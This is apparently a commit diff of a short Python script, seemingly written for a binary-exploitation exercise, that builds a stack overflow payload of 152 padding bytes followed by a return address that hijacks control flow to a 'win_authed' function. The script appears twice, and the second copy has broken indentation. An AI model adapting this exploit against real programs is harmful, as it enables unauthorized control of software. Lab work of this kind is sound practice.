morkev · November 24, 2024 08:18
diff --git a/binary_exploitation_tricky_control_hijack.py b/binary_exploitation_tricky_control_hijack.py
 import struct
 import sys

 offset_to_return = 152      # Calculated offset
 win_authed_addr = 0x4017b8  # From GDB disassembly

 payload = b"A" * offset_to_return
 payload += struct.pack("<Q", win_authed_addr)

 with open("payload.bin", "wb") as f:
    f.write(payload)

 sys.stdout.buffer.write(payload)
	import struct
	import sys

	offset_to_return = 152 # Calculated offset
	win_authed_addr = 0x4017b8 # From GDB disassembly

	payload = b"A" * offset_to_return
	payload += struct.pack("<Q", win_authed_addr)

	with open("payload.bin", "wb") as f:
	f.write(payload)

	sys.stdout.buffer.write(payload)